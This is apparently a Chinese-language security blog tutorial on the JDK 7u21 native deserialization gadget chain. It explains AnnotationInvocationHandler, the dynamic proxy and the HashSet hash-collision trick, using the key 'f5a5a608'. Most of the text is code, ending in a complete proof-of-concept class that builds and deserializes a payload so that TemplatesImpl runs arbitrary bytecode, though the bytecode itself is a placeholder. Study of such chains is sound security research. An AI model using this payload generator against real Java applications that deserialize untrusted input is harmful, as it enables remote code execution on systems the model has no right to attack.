0x00 前言
如果在没有存在反序列化漏洞的第三方库的情况下，还有一种情况可以实现反序列化漏洞的利用，在jdk版本7u21及以前的版本存在一条利用链可以利用jdk的原生代码实现反序列化漏洞。
0x01 关键点分析
这条链子的关键点在sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl，代码如下。这里的var2为this.getMemberMethods()的返回值
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
......
}
return true;
}
}
而getMemberMethods()会返回this.type.getDeclaredMethods()，也就是说我们可以通过修改this.type这个Object对象的值，就可以控制它的方法，进而控制返回值。
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
有了可控的返回值，之后会进入for循环，var5就是遍历获取的方法，然后调用var5.invoke(var1)，而var1就是调用equalsImpl方法的参数，即可以将this.type类中的所有方法遍历并执行了。我们就可以利用之前用过的TemplatesImpl来加载我们想要执行的字节码。
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
至于调用equalsImpl()的地方，找到这个类中的invoke()方法，调用了equalsImpl()，而invoke()的话，我们可以利用之前在cc1中用过的动态代理。AnnotationInvocationHandler实现了InvocationHandler接口，将这个对象用proxy进行代理，被传入的第一个参数是这个proxy对象，第二个参数是被执行的方法名，第三个参数是执行时的参数列表。那么通过动态代理调用他的方法时，就会通过invoke()方法去调用，当调用的方法名为equals且参数仅有一个Object对象时，就会调用equalsImpl()。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
......
}
}
到这里关键的地方已经差不多捋清楚了，我们可以先写一个基础的小demo来梳理一下思路。
public static void main(String[] args) throws Exception {
byte[] code = Base64.decode("Some Bytecodes...");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "So4ms");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap map = new HashMap();
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(Payload.class.getClassLoader(), new Class[]{Templates.class}, handler);
proxy.equals(templates);
}
如此一来就可以成功执行字节码了。
但是显然对于equals我们是不能直接进行调用的。
0x02 如何调用equals
对于如何对其调用equals，一个常见的场景就是集合set，由于集合的唯一性，所以set中存储的对象不允许重复，就会涉及到比较操作。
大佬们找的是利用HashSet来进行，在他的readObject()中，最后一个地方调用了map.put(e, PRESENT)，
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
看一下put()的源码，这里的i就是计算的元素的哈希值，我们想要执行的equals在for循环中，我们想要进入for循环，就要满足e = table[i]; e != null，即我们想要进行比较的两个元素的哈希计算值要相等。
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
所以我们想要进行比较的proxy与TemplatesImpl两个对象的哈希值是否相等，就取决于两个对象的hashCode()的返回值是否相等。
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
proxy的hashCode()方法，由于是进行了动态代理，所以会调用hashCodeImpl()，这里会遍历memberValues中的所有键值对，然后计算var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())，即hashCode += 127 * key.hashCode() ^ value.hashCode()。
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这里大佬们用的绕过的方法是，当这个map里只有一个键值对，且键的哈希值为0时，那么这个proxy的哈希值就是这个键值对中的值的哈希值，当这个值为我们构造的TemplatesImpl时，就可以使得二者哈希值相等，从而满足条件。
找到满足条件的值，得到f5a5a608。
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
这样一个完整的POC就构造出来了
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import javax.xml.transform.Templates;
public class Payload {
public static void main(String[] args) throws Exception {
byte[] code = Base64.decode("Some Bytecodes...");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "So4ms");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
HashMap map = new HashMap();
map.put("f5a5a608", templates);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
Templates proxy = (Templates) Proxy.newProxyInstance(Payload.class.getClassLoader(), new Class[]{Templates.class}, handler);
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
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